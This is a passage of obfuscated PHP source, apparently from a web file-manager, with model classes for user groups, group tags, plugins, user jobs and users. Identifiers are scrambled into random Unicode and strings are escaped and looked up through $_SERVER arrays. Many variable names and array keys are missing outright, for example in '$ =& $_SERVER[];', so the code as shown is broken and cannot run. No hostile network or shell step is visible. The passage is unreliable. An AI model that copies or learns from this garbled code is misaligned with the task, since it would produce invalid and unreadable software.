$òĻ, $Ƃ[95] => $Ƃ[743], $Ƃ[369] => $˴); $this->_clearCache($òĻ); } return Model($Ƃ[1898])->addAll($đ, array(), !0); } protected function groupRemove($Ǽ) { $ =& $_SERVER[]; $ = array($[1810] => $Ǽ); $䶺 = $this->where($)->find(); if (!$䶺 || $䶺[$[498]] == 0) { return !1; } $ = $this->getInfoSimple($䶺[$[498]]); $this->_changeChildLevel($䶺, $, !0); $this->where(array($[498] => $Ǽ))->save(array($[498] => $䶺[$[498]])); Model($[1898])->where($)->delete(); Model($[1899])->where($)->delete(); Model($[818])->groupRootRemove($Ǽ); return $this->where($)->delete(); } protected function groupSort($) { $ّ =& $_SERVER[]; $͹̋ = array(); foreach ($ as $̕ => $ב) { $͹̋[] = array($ّ[1810], $ב, $ّ[1833], $̕ + 1); } $this->saveAll($͹̋); } public function listData() { $Śؽ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($Śؽ[$_SERVER[][364]]); return $Śؽ; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[1810], $[32], $[1799], $[193]); $ = array($[448] => $[449], $[450] => $[451]); $ = Input::get($[455], $[7], $[1814], $); $݄ = Input::get($[456], $[7], $[1900], array($[1900], $[450])); $݄ = $[$݄]; $ = $ . "{$}\40{$݄}\x2c\40\147\x72\x6f\x75\x70\x49\x44\40\141\163\x63"; return $this->order($); } public function listChild($) { $ߙ =& $_SERVER[]; $ე = $this->where(array($ߙ[498] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($ე[$ߙ[364]]); return $ე; } public function listByID($򙛯) { $̣ =& $_SERVER[]; if (!$򙛯) { return array(); } $ۦ = array($̣[1810] => array($̣[7], $򙛯)); $ = $this->where($ۦ)->select(); $ = array_sort_keep($, $̣[1810], $򙛯); $this->_listDataApply($); return $; } public function listSearch($ֺ) { $ =& $_SERVER[]; $ˌ = $ֺ[$[1901]]; $ = isset($ֺ[$[1902]]) ? $ֺ[$[1902]] : !1; if (!trim($ˌ)) { return !1; } $ˌ = str_replace($[1903], $[1904], $ˌ); $Ť = array($[1810] => array($[378], "{$ˌ}\x25"), $[32] => array($[378], "\45{$ˌ}\45"), $[987] => $[1905]); if ($) { $ = $this->getInfoSimple($); $פ = $[$[521]] . $ . $[545]; $Ť = array($Ť, array($[521] => array($[378], $פ))); } $Ť = $this->parseWhereLike($Ť); $ = $this->_makeOrder()->where($Ť)->selectPage(20); $ = $ ? $ : array($[364] => array(), $[361] => array()); if (!$ || count($[$[364]]) < 5 && Input::check($ˌ, $[313])) { $ꙿ = $this->groupChildrenAll($); $ܟ = $this->_searchFromMeta($[463], $ˌ, 10, $ꙿ); $֭ = $this->_searchFromMeta($[464], $ˌ, 10, $ꙿ); $ = array_merge($ܟ, $֭, $[$[364]]); $[$[364]] = array_unique_by_key($, $[1810]); $[$[361]][$[362]] = count($[$[364]]); $[$[361]][$[363]] = ceil($[$[361]][$[362]] / $[$[361]][$[358]]); } $this->_listDataApply($[$[364]]); return $; } protected function groupChildrenAll($) { $ =& $_SERVER[]; if (!$) { return !1; } if (is_string($)) { $ = array($); } $ = $; foreach ($ as $߾) { $ۙ = $this->getInfoSimple($߾); $ = array($[521] => array($[378], $ۙ[$[521]] . $߾ . $[545])); $輙 = $this->field($[1810])->where($)->select(); $ = array_merge($, array_to_keyvalue($輙, $[12], $[1810])); } return array_unique($); } private function _searchFromMeta($, $Ӡ, $ô, $) { $􍖸 =& $_SERVER[]; $Ӡ = strtolower($Ӡ); $ = array($􍖸[95] => $, $􍖸[369] => array($􍖸[378], "\x25{$Ӡ}\45")); $ = $this->parseWhereLike($); if ($) { $[$􍖸[1810]] = array($􍖸[7], $); } $ŕ = Model($􍖸[1906])->where($)->limit($ô)->select(); if (!$ŕ) { return array(); } $ŕ = array_to_keyvalue($ŕ, $􍖸[12], $􍖸[1810]); $ = $this->where(array($􍖸[1897] => array($􍖸[7], $ŕ)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($֔) { $Ɯѕ = array($֔); $this->_listDataApply($Ɯѕ); return $Ɯѕ[0]; } protected function _listDataApply(&$ՓŸ) { $ =& $_SERVER[]; if (!$ՓŸ) { return; } $ʁ = array_to_keyvalue($ՓŸ, $[12], $[1810]); $this->_listAppendChildren($ՓŸ); $this->_listAppendChildrenMember($ՓŸ); $this->_listAppendMeta($ՓŸ, $ʁ); $this->_listAppendParent($ՓŸ); $this->_listAppendSourceRoot($ՓŸ, $ʁ); } private function _listAppendChildren(&$Ϋ) { $ő =& $_SERVER[]; $ = array_to_keyvalue($Ϋ, $ő[12], $ő[1810]); $␇Ձ = array($ő[498] => array($ő[7], $)); $ؿ = array($ő[498], $ő[1907] => $ő[500]); $ť = $this->field($ؿ)->where($␇Ձ)->group($ő[498])->select(); $ = array_to_keyvalue($ť, $ő[498], $ő[500]); foreach ($Ϋ as &$ߍ) { $؂ = $ߍ[$ő[1810]]; $ߍ[$ő[1908]] = isset($[$؂]) ? intval($[$؂]) : !1; } unset($ߍ); } private function _listAppendChildrenMember(&$˘԰) { $˙ =& $_SERVER[]; $ = array_to_keyvalue($˘԰, $˙[12], $˙[1810]); $Ä = array($˙[1810] => array($˙[7], $)); $ͬ = array($˙[1810], $˙[1907] => $˙[500]); $ = Model($˙[1899])->field($ͬ)->where($Ä)->group($˙[1810])->select(); $ = array_to_keyvalue($, $˙[1810], $˙[500]); foreach ($˘԰ as &$˲) { $Ӭ = $˲[$˙[1810]]; $˲[$˙[1909]] = isset($[$Ӭ]) ? intval($[$Ӭ]) : !1; } unset($˲); } private function _listAppendMeta(&$ڒ, $ȊǴ) { $Ɲ =& $_SERVER[]; $ = array($Ɲ[1810] => array($Ɲ[7], $ȊǴ)); $殿 = Model($Ɲ[1898])->where($)->select(); $殿 = array_to_keyvalue_group($殿, $Ɲ[1810]); foreach ($殿 as &$؞) { $؞ = array_to_keyvalue($؞, $Ɲ[95], $Ɲ[369]); } unset($؞); foreach ($ڒ as &$À) { $À[$Ɲ[465]] = array(); if (isset($殿[$À[$Ɲ[1810]]])) { $À[$Ɲ[465]] = $殿[$À[$Ɲ[1810]]]; } } unset($À); } protected function parentLevelArray($) { $ٓ =& $_SERVER[]; $ = explode($ٓ[50], trim($, $ٓ[50])); $ = array_remove_value($, $ٓ[190]); return $; } private function _listAppendParent(&$ة) { $ =& $_SERVER[]; $ = array(); foreach ($ة as &$ކ) { $[$ކ[$[1810]]] = $ކ[$[32]]; $Е = $this->parentLevelArray($ކ[$[521]]); foreach ($Е as $ϓه) { if (!isset($[$ϓه])) { $[$ϓه] = 0; } } } unset($ކ); foreach ($ as $ => $ب) { if ($ب) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $à = $GLOBALS[$[6]][$[90]][$[1910]]; if ($GLOBALS[$[505]] == $[89]) { $à = !1; } foreach ($ة as &$ކ) { $Е = $this->parentLevelArray($ކ[$[521]]); $ = $[12]; foreach ($Е as $ => $ϓه) { if ($à && $ == 0) { continue; } $ .= $[$ϓه] . $[8]; } if ($Е) { $ .= $ކ[$[32]]; } $ކ[$[526]] = str_replace($[529], $[8], $); } unset($ކ); } private function _listAppendSourceRoot(&$ۮ, $Ե) { $ =& $_SERVER[]; $ = Model($[818])->listSourceRoot(SourceModel::TYPE_GROUP, $Ե); $ = array_to_keyvalue($, $[504]); $ = array_remove_key($, $[504]); foreach ($ۮ as &$) { $[$[87]] = $[$[$[1810]]] ? $[$[$[1810]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $ = array(); for ($؁ = 0; $؁ < count($); $؁++) { $灚ߢ = !1; for ($ = 0; $ < count($); $++) { if ($؁ == $) { continue; } if ($this->isParentOf($[$], $[$؁])) { $灚ߢ = !0; break; } } if (!$灚ߢ) { $[] = $[$؁]; } } return $; } protected function isParentOf($, $) { $ =& $_SERVER[]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($); $К = $this->getInfoSimple($); $›ϣ = $[$[521]] . $ . $[50]; if (substr($К[$[521]], 0, strlen($›ϣ)) == $›ϣ) { return !0; } return !1; } public function groupShowRoot($ˊݮ, $ɕ = false) { $ =& $_SERVER[]; $˃ = $this->getInfo($ˊݮ); if (!$˃) { return array(); } $ÿ˶ = $this->parentLevelArray($˃[$[521]]); $ = array($ˊݮ); if (count($ÿ˶) == 0) { return $; } if ($ɕ && count($ÿ˶) == 1) { return $; } if (!$˃[$[465]] || !isset($˃[$[465]][$[1895]]) || $˃[$[465]][$[1895]] == $[1864]) { return $this->groupShowRoot($ÿ˶[count($ÿ˶) - 1], $ɕ); } if ($˃[$[465]][$[1895]] == $[352]) { $ק = explode($[50], $˃[$[465]][$[1896]]); if ($ק) { $ = array_merge($, $ק); } } return $; } protected function resetParentLevel() { $î =& $_SERVER[]; $侇 = $î[1810]; $ش = $this->select(); $ش = array_to_keyvalue($ش, $侇); foreach ($ش as $ғӗ) { $ = $ғӗ; $ = array(); while ($[$î[498]] != 0) { $[] = $[$î[498]]; $ = $ش[$[$î[498]]]; } $[] = 0; $ = $î[50] . implode($î[50], array_reverse($)) . $î[50]; $this->setNamePinyin($ғӗ[$侇], $ғӗ[$î[32]]); $this->where(array($侇 => $ғӗ[$侇]))->save(array($î[584] => $)); } return $ش; } public function groupNameAuto($‰, $) { $۲ =& $_SERVER[]; $ = $this->where(array($۲[402] => $‰))->getField($۲[32], !0); if (!$ || !in_array($, $)) { return $; } for ($֬ = 1; $֬ <= count($) + 1; $֬++) { $ = $ . "\x28{$֬}\x29"; if (!in_array($, $)) { return $; } } } public function groupSwitch($׹, $󸧀) { $ީǎ =& $_SERVER[]; $ί = array($ީǎ[1810] => array($ީǎ[7], array($׹, $󸧀))); $؉ = $this->where($ί)->select(); $؉ = array_to_keyvalue($؉, $ީǎ[1810]); if (!isset($؉[$׹]) || !isset($؉[$󸧀]) || $؉[$׹][$ީǎ[498]] == 0) { return !1; } $ί = array($ީǎ[1810] => $׹); $чŃ = Model($ީǎ[1899])->where($ί)->select(); if (!$чŃ) { $чŃ = array(); } foreach ($чŃ as $ϧ) { $ڪڗ = $ϧ[$ީǎ[1642]]; $ί = array($ީǎ[1642] => $ڪڗ, $ީǎ[1810] => $󸧀); $ݸ֨ے = Model($ީǎ[1899])->where($ί)->find(); if (!$ݸ֨ے) { $ = array($󸧀 => $ϧ[$ީǎ[1911]]); Model($ީǎ[538])->userGroupAdd($ڪڗ, $); } Model($ީǎ[538])->userGroupRemove($ڪڗ, $׹); } $ί = array($ީǎ[412] => 2, $ީǎ[498] => 0, $ީǎ[411] => 1, $ީǎ[504] => array($ީǎ[7], array($׹, $󸧀))); $륕 = Model($ީǎ[818])->where($ί)->field($ީǎ[1912])->select(); $륕 = array_to_keyvalue($륕, $ީǎ[504], $ީǎ[403]); $ = !empty($륕[$׹]) ? $륕[$׹] : !1; if ($) { if (!$륕[$󸧀]) { $륕[$󸧀] = Model($ީǎ[818])->groupRootAdd($󸧀); } $Źթ = $륕[$󸧀]; $ί = array($ީǎ[498] => $); $륕 = Model($ީǎ[818])->where($ί)->field($ީǎ[1913])->select(); if (!$륕) { $륕 = array(); } Model($ީǎ[818])->moveClearAuth = !1; foreach ($륕 as $߂̘) { $ = $߂̘[$ީǎ[411]] == $ީǎ[89] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($ީǎ[818])->move($߂̘[$ީǎ[403]], $Źթ, $); } Model($ީǎ[818])->moveClearAuth = !0; $ί = array($ީǎ[412] => 2, $ީǎ[504] => $׹); $ޱ = array($ީǎ[504] => $󸧀); Model($ީǎ[1914])->where($ί)->save($ޱ); Model($ީǎ[1915])->where($ί)->save($ޱ); } $this->_changeChildLevel($؉[$׹], $؉[$󸧀], !0); $this->where(array($ީǎ[498] => $׹))->save(array($ީǎ[498] => $󸧀)); $this->_clearChildrenCache($؉[$󸧀]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\x73\145\x72\137\x66\141\x76"; protected function cacheFunctionAlias($Ȓ) { $ =& $_SERVER[]; return array($[1916] => array($Ȓ[0], $[1917]), $[1918] => array($Ȓ[0], $[1919])); } protected function get($) { $ǘ =& $_SERVER[]; $飯 = Model($ǘ[522])->metaGet($, $ǘ[1920]); $Է = json_decode($飯, !0); return $Է ? $Է : array($ǘ[1921] => $ǘ[89], $ǘ[364] => array()); } protected function set($Ѐ, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[1921] => $[89], $[364] => array()); Model($[522])->metaSet($Ѐ, $[1920], json_encode($)); return Model($[522])->metaSet($Ѐ, $[1920], json_encode($)); } protected function getByTagID($Ј, $ӆ) { $ڜ =& $_SERVER[]; if (!$Ј || !$ӆ) { return !1; } if (!Model($ڜ[522])->getInfoSimple($Ј)) { return !1; } $ͥ = $this->get($Ј); if (!$ͥ || !isset($ͥ[$ڜ[364]])) { return !1; } $ʱ = array_find_by_field($ͥ[$ڜ[364]], $ڜ[401], $ӆ); return is_array($ʱ) ? $ʱ : !1; } public function listSource($ںԾ, $) { $ɖ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = $this->listData($ںԾ); $Д = array(); foreach ($ as $ق) { $ = $ق[$ɖ[78]]; if (!$) { continue; } if (!isset($Д[$])) { $Д[$] = array(); } $Д[$][] = $ق[$ɖ[427]]; } $ꦒ = array(); foreach ($Д as $쑴 => $צ) { $ط = !0; if (!$) { $ꦒ[] = $쑴; continue; } foreach ($ as $) { if (!in_array($, $צ)) { $ط = !1; break; } } if ($ط) { $ꦒ[] = $쑴; } } if (!$ꦒ) { return array(); } $ž = array($ɖ[418] => array($ɖ[419], $ꦒ), $ɖ[504] => $ںԾ, $ɖ[412] => SourceModel::TYPE_GROUP); $ڻ = Model($ɖ[1312])->listSource($ž); if (!$ڻ || count($ꦒ) == $ڻ[$ɖ[361]][$ɖ[362]]) { return $ڻ; } $ = array(); $ = array_to_keyvalue($ڻ[$ɖ[77]], $ɖ[12], $ɖ[403]); $߹ϗ = array_to_keyvalue($ڻ[$ɖ[76]], $ɖ[12], $ɖ[403]); $؟ = array_merge($߹ϗ, $); foreach ($ꦒ as $) { if (!in_array($, $؟)) { $[] = $; } } if ($) { $this->removeBySource($ںԾ, $); } return $ڻ; } protected function listData($Մ) { $Ƕ =& $_SERVER[]; $ = array($Ƕ[1633] => 0, $Ƕ[483] => array($Ƕ[1922], 0), $Ƕ[423] => $Ƕ[1923] . $Մ); $Ǘʨ = $Ƕ[1924]; $˞ߪ = $this->field($Ǘʨ)->where($)->order($Ƕ[1925])->select(); return $˞ߪ ? $˞ߪ : array(); } protected function addToTag($ۗ, $ތ, $) { $LJ =& $_SERVER[]; if (!$this->getByTagID($ۗ, $) || !$ތ) { return !1; } if (!Model($LJ[818])->pathInfo($ތ)) { return !1; } $܈ = array($LJ[1633] => 0, $LJ[483] => $, $LJ[422] => $ތ, $LJ[423] => $LJ[1926] . $ۗ, $LJ[421] => $LJ[12], $LJ[1814] => 0); if ($this->where($܈)->find()) { return !1; } return $this->add($܈); } protected function removeFromTag($¬, $ɻ, $૥) { $ӟ =& $_SERVER[]; if (!$this->getByTagID($¬, $૥) || !$ɻ) { return !1; } if (is_array($ɻ)) { $ɻ = array($ӟ[7], $ɻ); } $ = array($ӟ[1633] => 0, $ӟ[483] => $૥, $ӟ[423] => $ӟ[1926] . $¬, $ӟ[422] => $ɻ); return $this->where($)->delete(); } protected function removeByTag($, $) { $ག =& $_SERVER[]; if (!$this->getByTagID($, $)) { return !1; } $ڬ = array($ག[1633] => 0, $ག[483] => $, $ག[423] => $ག[1926] . $); return $this->where($ڬ)->delete(); } protected function removeBySource($ƴ, $֨) { $ =& $_SERVER[]; if (!$ƴ || !$֨) { return !1; } if (is_array($֨)) { $֨ = array($[7], $֨); } $ = array($[1633] => 0, $[422] => $֨, $[483] => array($[1001], 0), $[423] => $[1926] . $ƴ); return $this->where($)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\x6d\56\160\154\165\147\151\156\114\151\x73\164"; public $field = array("\156\x61\x6d\145", "\163\164\x61\x74\x75\x73", "\x72\x65\x67\151\x65\163\164", "\143\157\156\146\x69\x67"); public function loadList($֥ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($֥) { return $[$֥]; } return $; } public function init() { $ۂ =& $_SERVER[]; Hook::trigger($ۂ[1927]); $ꔖ = $this->loadPluginList(); foreach ($ꔖ as $ => $) { $ = $this->appAllow($, $); if (!$) { continue; } foreach ($[$ۂ[1928]] as $ъ => $́) { Hook::bind($ъ, $́); } } Hook::trigger($ۂ[1929]); Hook::trigger(ACTION); } public function appAllow($, $Ų, $ȱ = true) { $ =& $_SERVER[]; $ƕ = PLUGIN_DIR . $ . $[1930]; if (!is_array($Ų) || !is_array($Ų[$[1928]]) || $Ų[$[743]] != 1 || !is_file($ƕ)) { return !1; } if ($GLOBALS[$[505]] == 1) { return !0; } if ($ȱ && !Action($[1931])->checkAuth($)) { return !1; } return !0; } public function unInstall($ÈĶ) { $ =& $_SERVER[]; $Ƒ = $this->loadList($ÈĶ); if (file_exists(PLUGIN_DIR . $ÈĶ)) { Hook::apply($ÈĶ . $[1932]); } $this->remove($Ƒ[$[401]]); } public function changeStatus($Ԋ, $) { $֛ =& $_SERVER[]; $ = $this->loadList($Ԋ); if ($) { Hook::apply($Ԋ . $֛[1933]); } $this->update($[$֛[401]], array($֛[1934] => $)); } public function appRegist($, $) { $¬ =& $_SERVER[]; $聇 = $this->loadList($); if ($聇) { $this->update($聇[$¬[401]], array($¬[1928] => $)); } else { $ƕ = array($¬[32] => $, $¬[1928] => $, $¬[743] => 0, $¬[6] => $this->getConfigDefault($)); $this->insert($ƕ); } } public function getConfigDefault($岛) { $Ը钴 =& $_SERVER[]; $҇ = array(); $ = $this->getPackageJson($岛); if (!$ && is_array($[$Ը钴[1935]])) { return $҇; } foreach ($[$Ը钴[1935]] as $ֈ => $¥̘) { if (!isset($¥̘[$Ը钴[369]]) || isset($҇[$ֈ])) { continue; } $҇[$ֈ] = $¥̘[$Ը钴[369]]; } return $҇; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[][1936]); } public function getConfig($, $ϩ = false) { $ٌ =& $_SERVER[]; $ = array(); $Ʈ = $this->loadList($); if ($Ʈ && is_array($Ʈ[$ٌ[6]])) { $ = $Ʈ[$ٌ[6]]; } if (!$ || $ϩ) { $ = $this->getConfigDefault($); } return $; } public function setConfig($Ϙ, $ = false) { $吩 =& $_SERVER[]; $ = $this->loadList($Ϙ); if (!$) { return !1; } $ = $[$吩[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($Ϙ); } foreach ($ as $ => $ˁ) { $[$] = is_string($ˁ) ? trim($ˁ) : $ˁ; } $this->update($[$吩[401]], array($吩[6] => $)); } public function viewList() { $é =& $_SERVER[]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $ϭ۾ => $۰) { unset($۰[$é[1928]], $۰[$é[6]]); $ = PLUGIN_DIR . $۰[$é[32]] . $é[1930]; if (!is_file($)) { continue; } $ = Hook::apply($۰[$é[32]] . $é[1936]); if (is_array($)) { $[$ϭ۾] = array_merge($۰, $); } } return $; } private function loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[1937]) { return $; } $ǯ = Hook::trigger($[1938], $); if ($ && !$ǯ) { die; } return $ǯ ? $ǯ : $; } private function pluginScan($֚) { $ܝ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $Ō, 0); foreach ($ as $) { $ԦȜ = get_path_this($); if (isset($֚[$ԦȜ]) || !file_exists($ . $ܝ[1939]) || !file_exists($ . $ܝ[1930])) { continue; } Hook::apply($ԦȜ . $ܝ[1933]); } } } goto b߉Í; Fʢ: class UserJobModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\x6d\x2e\x6a\x6f\x62\x4c\x69\x73\164"; public $field = array("\156\141\155\145", "\144\145\x73\143", "\163\157\x72\164"); const JOB_KEY = "\x73\145\154\146\x4a\157\142\x4c\151\x73\164"; public function listData($ = false, $ = "\x73\x6f\162\x74", $ = false) { return parent::listData($, $, $); } public function remove($ϝ) { return parent::remove($ϝ); } public function add($) { $ƅ =& $_SERVER[]; if ($this->findByName($[$ƅ[32]])) { return !1; } $[$ƅ[1833]] = $this->getSort(); return parent::insert($); } private function getSort() { $֭֗ =& $_SERVER[]; $ϳ = parent::listData(); $֐ = array_to_keyvalue($ϳ, $֭֗[12], $֭֗[1833]); return empty($֐) ? 0 : max($֐) + 1; } public function update($ͭ, $ӓ) { $ =& $_SERVER[]; $ = parent::listData($ͭ); $ܩ = $this->findByName($ӓ[$[32]]); if (!$ || $ܩ && $ܩ[$[401]] != $[$[401]]) { return !1; } return parent::update($ͭ, $ӓ); } public function setUserJob($, $ڛ) { $Ʌ =& $_SERVER[]; if (!is_array($ڛ)) { $ڛ = array($ڛ); } $ = parent::listData(); $ٗ = array_to_keyvalue($, $Ʌ[32]); $׺ = $Ʌ[373]; foreach ($ڛ as $) { if ($ٗ[$]) { $׺ .= $ٗ[$][$Ʌ[401]] . $Ʌ[50]; } else { $ = $this->add($); $׺ .= $ . $Ʌ[50]; } } $׺ = rtrim($׺, $Ʌ[50]); Model($Ʌ[538])->metaSet($, self::JOB_KEY, $׺); } public function getUserJob($) { $ɗ = Model($_SERVER[][538])->metaGet($); return $this->getUserJobInfo($ɗ[self::JOB_KEY]); } public function getUserJobInfo($٤) { $͉ =& $_SERVER[]; $ = explode($͉[50], $٤); $؝ = parent::listData(); $؝ = array_remove_key($؝, $͉[193]); $㱏 = array(); foreach ($ as $) { if (isset($؝[$])) { $㱏[] = $؝[$]; } } return $㱏; } } class UserModel extends ModelBase { protected $tableName = "\165\163\145\x72"; protected $tableMeta = array("\164\141\142\154\145\116\141\x6d\x65" => "\x75\163\x65\162\137\155\145\164\x61", "\155\x65\164\141\106\151\145\154\144" => "\165\x73\145\162\111\104"); protected $simpleField = "\x75\x73\x65\x72\x49\x44\54\x6e\x69\143\x6b\116\141\x6d\x65\54\x6e\141\155\145\54\141\x76\x61\x74\x61\x72\54\163\145\170\54\x73\x74\x61\x74\165\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($۴) { $Ѯ =& $_SERVER[]; $ۼ = $Ѯ[2238]; return array($Ѯ[1887] => array($۴[0], $ۼ), $Ѯ[1889] => array($۴[0], $ۼ), $Ѯ[2239] => array($۴[0], $ۼ)); } protected function getInfo($٢ɚ, $ = false) { $Ծ = $this->getInfoSimple($٢ɚ); if (!is_array($Ծ)) { return array(); } if ($) { return $this->_getInfoApply($Ծ); } return $this->cacheFunctionGet($_SERVER[][1891], $٢ɚ); } protected function getInfoFull($, $ = false) { $Ү = $this->getInfoSimple($); if (!is_array($Ү)) { return array(); } if ($) { return $this->_getInfoApply($Ү, !0); } return $this->cacheFunctionGet($_SERVER[][2240], $); } private function _getInfoApply($Ʋܽ, $ = false) { $و֝ =& $_SERVER[]; if (!$Ʋܽ) { return $Ʋܽ; } $׉ = md5($و֝[2241] . $Ʋܽ[$و֝[876]] . $و֝[2242] . $Ʋܽ[$و֝[32]]); $Ʋܽ = $this->_listDataApplyItem($Ʋܽ); $ = Model($و֝[1312])->metaGet($Ʋܽ[$و֝[87]][$و֝[403]]); $Ʋܽ[$و֝[2243]] = $׉; $Ʋܽ[$و֝[87]][$و֝[2073]] = isset($[$و֝[2074]]) ? $[$و֝[2074]] : null; if ($) { $Ʋܽ[$و֝[465]] = $this->metaGet($Ʋܽ[$و֝[1642]]); } return $Ʋܽ; } protected function getInfoSimple($ը, $ = false) { $ =& $_SERVER[]; if (!$ը) { return array(); } if ($) { $ = $this->where(array($[1642] => intval($ը)))->find(); if (!is_array($)) { return array(); } $[$[2244]] = Action($[2245])->parseUrl($[$[2244]]); return $; } return $this->cacheFunctionGet($[1892], $ը); } protected function getInfoSimpleOuter($) { $ڭ =& $_SERVER[]; if (!$ || $ == 0) { return array($ڭ[1642] => $ڭ[190], $ڭ[32] => $ڭ[159] . LNG($ڭ[2246]) . $ڭ[536], $ڭ[2244] => STATIC_PATH . $ڭ[2247]); } $Ú = $this->cacheFunctionGet($ڭ[1892], $); $߮ = array_field_key($Ú, explode($ڭ[50], $this->simpleField)); if (!$߮) { return array($ڭ[1642] => $ڭ[1175], $ڭ[32] => $ڭ[159] . LNG($ڭ[2248]) . $ڭ[536], $ڭ[2244] => STATIC_PATH . $ڭ[2249]); } $߮[$ڭ[2244]] = Action($ڭ[2245])->parseUrl($߮[$ڭ[2244]]); return $߮; } protected function groupUser($耞) { } public static function errorLang($→) { $ί =& $_SERVER[]; $ʦ = array(self::ERROR_USER_NOT_EXISTS => $ί[2250], self::ERROR_USER_PASSWORD_ERROR => $ί[2251], self::ERROR_USER_EXIST_NAME => $ί[2252], self::ERROR_USER_EXIST_PHONE => $ί[2253], self::ERROR_USER_EXIST_EMAIL => $ί[2254], self::ERROR_USER_LOGIN_LOCK => $ί[2255], self::ERROR_IP_NOT_ALLOW => $ί[2256], self::ERROR_USER_EXIST_NICKNAME => $ί[2257]); return LNG($ʦ[$→]); } public function getInfoByMeta($, $) { $ɻ =& $_SERVER[]; $ڏ = Model($ɻ[2258])->where(array($ɻ[95] => $, $ɻ[369] => $))->find(); if ($ڏ) { return $this->getInfo($ڏ[$ɻ[1642]]); } return !1; } public function userLoginCheck($Χ, $ળ) { $͑ =& $_SERVER[]; $ēܕ = $this->userLoginFind($Χ); if (!$ēܕ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ēܕ[$͑[1642]], $ળ)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ēܕ[$͑[1642]]); } public function userLoginFind($􁭱) { $ˌ =& $_SERVER[]; $͈ = array($ˌ[32] => $􁭱, $ˌ[2078] => $􁭱, $ˌ[300] => $􁭱, $ˌ[2259] => $􁭱, $ˌ[987] => $ˌ[989]); if ($this->nickNameRpt()) { unset($͈[$ˌ[2078]]); } return $this->where($͈)->find(); } public function clearCache($Ñ) { $œ =& $_SERVER[]; $this->cacheFunctionClear($œ[1891], $Ñ); $this->cacheFunctionClear($œ[1892], $Ñ); $this->cacheFunctionClear($œ[2240], $Ñ); } public function userPasswordCheck($, $) { $ٗ =& $_SERVER[]; $񠾔 = $this->where(array($ٗ[1642] => intval($)))->find(); $̟ = $this->metaGet($); $ = isset($̟[$ٗ[2260]]) ? $̟[$ٗ[2260]] : $ٗ[12]; if (md5($ . trim($)) !== $񠾔[$ٗ[876]]) { return !1; } return !0; } public function userAdd($ڐ) { $ =& $_SERVER[]; $ = array($[421] => $ڐ[$[32]], $[2261] => $ڐ[$[1519]], $[2262] => isset($ڐ[$[300]]) ? $ڐ[$[300]] : $[12], $[2263] => isset($ڐ[$[2259]]) ? $ڐ[$[2259]] : $[12], $[2264] => isset($ڐ[$[2078]]) ? $ڐ[$[2078]] : $ڐ[$[32]], $[2265] => isset($ڐ[$[2244]]) ? $ڐ[$[2244]] : $[12], $[2266] => isset($ڐ[$[2267]]) ? $ڐ[$[2267]] : 1, $[2268] => $ڐ[$[876]], $[1893] => isset($ڐ[$[1797]]) ? $ڐ[$[1797]] : 1024 * 1024 * 20, $[1894] => 0, $[2269] => 0, $[1934] => isset($ڐ[$[743]]) ? $ڐ[$[743]] : 1); if (!empty($ڐ[$[1642]])) { $[$[1642]] = $ڐ[$[1642]]; } $ř = $this->_checkExist($ڐ); if ($ř !== !0) { return $ř; } $كΦ = $this->add($); $ѳ = array($[2268] => $[$[876]], $[2264] => $[$[2078]]); $this->userEdit($كΦ, $ѳ); Model($[1312])->userRootAdd($كΦ); return $كΦ; } protected function userEditTest($ᦷ, $) { return $this->call($_SERVER[][2270], $ᦷ, $); } protected function userEdit($, $) { $ٳԸ =& $_SERVER[]; $ǧ = $this->getInfoSimple($); if (!$ǧ) { return !1; } $ٱ = $this->_checkExist($, $); if ($ٱ !== !0) { return $ٱ; } if (isset($[$ٳԸ[876]]) && trim($[$ٳԸ[876]]) != $ٳԸ[12]) { $ = $this->metaGet($); if (empty($[$ٳԸ[2260]])) { $[$ٳԸ[2260]] = rand_string(10); Model($ٳԸ[513])->metaSet($, $ٳԸ[2260], $[$ٳԸ[2260]]); } $[$ٳԸ[876]] = md5($[$ٳԸ[2260]] . trim($[$ٳԸ[876]])); } else { unset($[$ٳԸ[876]]); } $this->where(array($ٳԸ[1633] => $))->save($); if (isset($[$ٳԸ[2078]])) { $this->setNamePinyin($, $[$ٳԸ[2078]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $͖ =& $_SERVER[]; if (!$) { $ڃ = $this->getInfoSimple($); $ = $ڃ[$͖[2078]] ? $ڃ[$͖[2078]] : $ڃ[$͖[32]]; } $ = Model($͖[538]); if (!Input::check($, $͖[587])) { return $->metaSet($, array($͖[464] => $͖[12], $͖[463] => $͖[12])); } return $->metaSet($, array($͖[464] => str_replace($͖[53], $͖[12], Pinyin::get($)), $͖[463] => Pinyin::get($, $͖[588]))); } private function nickNameRpt() { $쮑 =& $_SERVER[]; $瘇̓ = Model($쮑[763])->get($쮑[2271]); $뱺 = $GLOBALS[$쮑[6]][$쮑[376]][$쮑[2271]]; $ȝ = !is_null($瘇̓) ? $瘇̓ : $뱺; return !!$ȝ; } private function _checkExist($, $ث = false) { $ =& $_SERVER[]; 